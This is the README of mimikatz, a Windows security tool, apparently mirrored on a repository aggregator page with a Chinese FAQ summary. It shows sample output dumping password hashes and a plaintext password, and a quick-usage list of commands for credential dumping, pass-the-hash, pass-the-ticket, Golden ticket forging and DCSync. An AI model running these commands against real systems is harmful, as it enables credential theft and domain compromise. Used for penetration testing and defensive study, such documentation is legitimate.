mimikatz README

The project's README from github.com/gentilkiwi/mimikatz. As one markdown file: README.md.

mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on https://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

Quick usage

log
privilege::debug

sekurlsa

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault & lsadump

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Synchronize!

Build the solution

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

Continuous Integration

mimikatz project is available on AppVeyor - https://ci.appveyor.com/project/gentilkiwi/mimikatz

Its status is: AppVeyor CI status

Licence

CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/

mimikatz needs coffee to be developed:

Author

This is a personal development, please respect its philosophy and don't use it for bad things!

mimikatz (gentilkiwi/mimikatz)

Searching Database…

21.9K ·GitHub
这是什么?一个轻量的 Windows 安全工具,最初是为了学习 C 语言而写的。它最出名的功能是从内存中提取明文密码、哈希、PIN 码和 Kerberos 票据,还能执行 pass-the-hash、pass-the-ticket 攻击,或制作 Golden ticket(黄金票据)。
它是一个我要在代码里调用的库,还是一个直接运行的程序?它是一个独立的 Windows 控制台程序。Visual Studio 解决方案里还包含 mimilib 和一个可选的 WinDDK 驱动(mimidrv),不过主要功能并不需要这个驱动。
我怎么把它装到自己电脑上?如果不想自己编译,直接从 GitHub releases 下载已编译好的可执行文件即可。否则就克隆仓库(用 GIT 或 SVN 都行),打开 Visual Studio 解决方案,运行 Build / Build Solution。
编译它的时候有什么坑吗?可能会遇到关于 build.cmd 和 mimidrv 的 MSB3073 错误:没有 WinDDK 7.1 就无法编译那个驱动,不过即使没有它,mimikatz 和 mimilib 仍能正常编译。
这个工具到底是给谁用的?作者写它是为了学习 C 语言和研究 Windows 安全,如今它被广泛用于渗透测试和红队行动。作者明确要求使用者尊重它的理念,不要拿去做坏事。
它只能在 Windows 上运行吗?是的,仅支持 Windows —— 以 Visual Studio 解决方案的形式构建 Win32 和 x64 版本;用作者的话说,ARM64 版本'得看运气'。
它的许可证有什么特别之处吗?它采用 CC BY 4.0 —— 一个知识共享许可证,而不是常见的代码许可证。该项目是 Benjamin DELPY(gentilkiwi)的个人开发作品,通过 PayPal 捐赠获得支持。
它在凭据和 Kerberos 票据方面能做什么?它可以执行 pass-the-hash 和 pass-the-ticket 攻击,并制作 Golden Kerberos 票据。lsadump 模块还包含 DCSync 和 DCShadow 功能,这两个是与 Vincent LE TOUX 合作编写的。
这个工具有哪些模块?快速上手部分涵盖了 sekurlsa、kerberos、crypto、vault 和 lsadump。README 还提到了 crypto、Terminal Server 和 Events 功能,更多细节见 GitHub Wiki。
mimilib、mimidrv 和 mimilove 是什么?它们是解决方案的配套组件:mimilib 是一个库,mimidrv 是主要功能用不到的可选 Windows 驱动,mimilove 是另一个组件,编译它同样需要 WinDDK 7.1。
Creator
gentilkiwi
Size
5.2 MB
Stars
21.9K
Age
12y
Commits · 90 Days